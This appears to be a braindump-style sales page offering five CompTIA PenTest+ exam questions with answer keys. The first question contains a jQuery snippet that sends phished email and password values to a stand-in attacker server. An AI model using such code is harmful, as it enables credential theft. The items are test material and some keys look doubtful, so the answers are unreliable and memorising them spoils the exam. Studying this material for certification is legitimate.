PT0-002 Q&As

CompTIA PenTest+ Certification Exam

Pass CompTIA PT0-002 Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

https://www.passapply.com/pt0-002.html

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by CompTIA Official Exam Center

- **Instant Download** After Purchase
- **100% Money Back** Guarantee
- **365 Days** Free Update
- **800,000+** Satisfied Customers

QUESTION 1

For a penetration test engagement, a security engineer decides to impersonate the IT help desk. The security engineer sends a phishing email containing an urgent request for users to change their passwords and a link to https://example.com/index.html. The engineer has designed the attack so that once the users enter the credentials, the index.html page takes the credentials and then forwards them to another server that the security engineer is controlling. Given the following information:

```
$.ajax({ url: 'https://evilcorp.com/email-list/finish.php',
  type: 'POST', dataType: 'html',
  data: {Email: emv, password: psv},
  _____
  success: function(msg) {}});
```

Which of the following lines of code should the security engineer add to make the attack successful?

A. window.location.= \\'https://evilcorp.com\\'

B. crossDomain: true C. geturlparameter (\\'username\\')

D. redirectUrl = \\'https://example.com\\'

Correct Answer: B

QUESTION 2

A penetration tester was hired to perform a physical security assessment of an organization\\'s office. After monitoring the environment for a few hours, the penetration tester notices that some employees go to lunch in a restaurant nearby and leave their belongings unattended on the table while getting food.

Which of the following techniques would MOST likely be used to get legitimate access into the organization\\'s building without raising too many alerts?

A. Tailgating

B. Dumpster diving

C. Shoulder surfing

D. Badge cloning

Correct Answer: D

QUESTION 3

A penetration tester downloaded the following Perl script that can be used to identify vulnerabilities in network switches. However, the script is not working properly. Which of the following changes should the tester apply to make the script work as intended?

A. Change line 2 to $ip= 10.192.168.254;

B. Remove lines 3, 5, and 6.

C. Remove line 6.

D. Move all the lines below line 7 to the top of the script.

Correct Answer: B

https://www.asc.ohio-state.edu/lewis.239/Class/Perl/perl.html Example script:

#!/usr/bin/perl

$ip=$argv[1];

attack($ip);

sub attack {

print("x");

}

QUESTION 4

A penetration tester was conducting a penetration test and discovered the network traffic was no longer reaching the client\\'s IP address. The tester later discovered the SOC had used sinkholing on the penetration tester\\'s IP address. Which of the following BEST describes what happened?

A. The penetration tester was testing the wrong assets

B. The planning process failed to ensure all teams were notified

C. The client was not ready for the assessment to start

D. The penetration tester had incorrect contact information

Correct Answer: B

QUESTION 5

A penetration tester conducts an Nmap scan against a target and receives the following results:

```
Port        State     Service
1080/tcp    open      socks
```

Which of the following should the tester use to redirect the scanning tools using TCP port 1080 on the target?

A. Nessus

B. ProxyChains

C. OWASPZAP

D. Empire

Correct Answer: B

Reference: https://www.codeproject.com/Tips/634228/How-to-Use-Proxychains-Forwarding-Ports